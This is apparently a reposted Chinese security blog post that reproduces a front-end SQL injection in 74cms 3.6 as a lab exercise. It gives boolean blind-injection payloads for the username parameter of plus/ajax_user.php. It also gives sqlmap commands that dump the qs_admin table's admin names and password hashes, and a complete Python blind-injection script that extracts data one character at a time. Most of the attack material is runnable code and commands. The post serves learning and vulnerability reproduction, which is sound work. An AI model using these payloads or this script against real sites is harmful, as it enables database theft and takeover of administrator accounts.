漏洞|74cms 3.6 前台SQL注入+Python脚本小练习
Posted 漏斗社区
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞|74cms 3.6 前台SQL注入+Python脚本小练习相关的知识,希望对你有一定的参考价值。
最近有个74cms v4.2.3任意文件下载的漏洞,本来想试着和74cms 3.6 前台SQL注入漏洞结合下然后取出QS_pwdhash的值进行MD5碰撞,可惜了任意文件下载的漏洞并不影响74cms 3.6,所以就只能先复现下前台注入漏洞了。
1.复现74cms 3.6 前台SQL注入漏洞。
2.尝试使用Python 自动获取数据库中的数据。
1.phpstudy
2.74cms 3.6 源码 (在文末有提供下载链接)
3.Python 2.7
漏洞复现过程
0x01 下载74cms 3.6并进行安装,安装成功后可以正常访问就是安装成功。
0x02 在http://127.0.0.1/74cms/plus/ajax_user.php在username参数中存在注入点。POST请求如下信息时候由于不存在username为a的用户所以提示false。
构造'or '1'='2进行请求提示false
POST DATA:username=a'or '1'='2&act=get_pass_check
构造'or '1'='1进行请求提示true
POST DATA:username=a'or '1'='1&act=get_pass_check
0x03 根据上面的请求判断http://127.0.0.1/74cms/plus/ajax_user.php中的username参数存在注入的且是布尔型盲注,使用burp Suite拦截该数据包并保存为req.txt。
0x04 使用>sqlmap.py -r req.txt --current-db命令获取当前数据库名信息。
0x05 因为源码是公开的所以对应的数据库表名列名也就已知了,使用如下命令可以获取后台账号密码信息
>E:sqlmap>sqlmap.py -r req.txt --current-db -T qs_admin -C admin_name,pwd,pwd_hash --dump
0x06 最近发布的74cms v4.2.3前台任意文件读取漏洞本来想利用这个漏洞去获取/data/config.php中的$QS_pwdhash值,但是很遗憾这个漏洞并不影响74cms 3.6的版本。为什么要获取$QS_pwdhash呢?因为在代码中数据库存放的pwd字段的值是由md5($admin_pwd.$pwd_hash.$QS_pwdhash)生成的,现在已知pwd,pwd_hash,如果知道QS_pwdhash的值就可能通过碰撞的方式获取到密码的明文信息,虽然有小小的不尽兴,但是为了能够让文章丰满些(不显得low 哈哈~),将这个盲注使用py实现,虽然SQLmap也能跑出来,就当随手练练编程吧。
0x07 粗略写了个脚本用来跑数据,当然这个就是平时练习时候写好的脚本改下就成了,所以推荐大家多多积累自己写的脚本,当要使用的时候就改下模板就好了,当初写这个模板时是为了更方便注入才写的,因为尽可能的将payload写成通用的,这样在传入的变量中就可以直接写入SQL语句,感觉方便些,使用查询语句规范化。
# -*- coding:utf-8 -*-
# -*- By Thinking -*-
import requests
import string
Url = "http://127.0.0.1/74cms/plus/ajax_user.php"
dic = string.letters + string.digits + '_'
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
'Content-Type': 'application/x-www-form-urlencoded',
}
postData = "username=a'or %s and '1'='1&act=get_pass_check"
def getLen(Url,Sql):
sqli =Sql
for Len in xrange(32):
payload = '(' + sqli + ')' + '=' + str(Len)
url =Url
data = postData %(payload)
# print data
rq = requests.post(url, headers=header,data=data)
if len(rq.content) == 4:
print 'Length is : ', Len
return Len
def getData(Url,Sql,Len):
sqli = Sql
temp = ''
for i in xrange(Len):
for x in dic:
X = temp + x
payload = "(select("+ sqli + ")regexp binary '^%s')" %(X)
url = Url
data = postData %(payload)
# print data
rq = requests.post(url, headers=header,data=data)
if len(rq.content) == 4:
temp = temp + x
print temp
break
print 'Data is : ', temp
return temp
if __name__=="__main__":
# GetLenSQL = 'select length(pwd_hash) from qs_admin where admin_id=1' # 引号内写入想要查询的SQL语句即可。
# Length = getLen(Url, GetLenSQL)
# GetDataSQL = 'select pwd_hash from qs_admin where admin_id=1' # 引号内写入想要查询的SQL语句即可
GetLenSQL = 'select length(database())' # 引号内写入想要查询的SQL语句即可
Length = getLen(Url, GetLenSQL)
GetDataSQL = 'select database()' # 引号内写入想要查询的SQL语句即可
Data = getData(Url, GetDataSQL, Length)
这次的漏洞复现偏简单了,相信大家都可以做出来,所以大家可以尝试着将重点放在如何更好的使用Python进行盲注这个问题上,我也附上了自己写的代码,欢迎大家一起交流思路和编程写法。
链接: https://pan.baidu.com/s/1jHAYJ7S 密码: kqdr
通往白帽子的奇妙世界
点击下方“阅读原文”查看更多精彩内容☺
以上是关于漏洞|74cms 3.6 前台SQL注入+Python脚本小练习的主要内容,如果未能解决你的问题,请参考以下文章
74cms_v3.5.1.20141128 后台宽字节注入漏洞(iconv引发)
Atom CMS SQL注入漏洞 (CVE-2022-25488)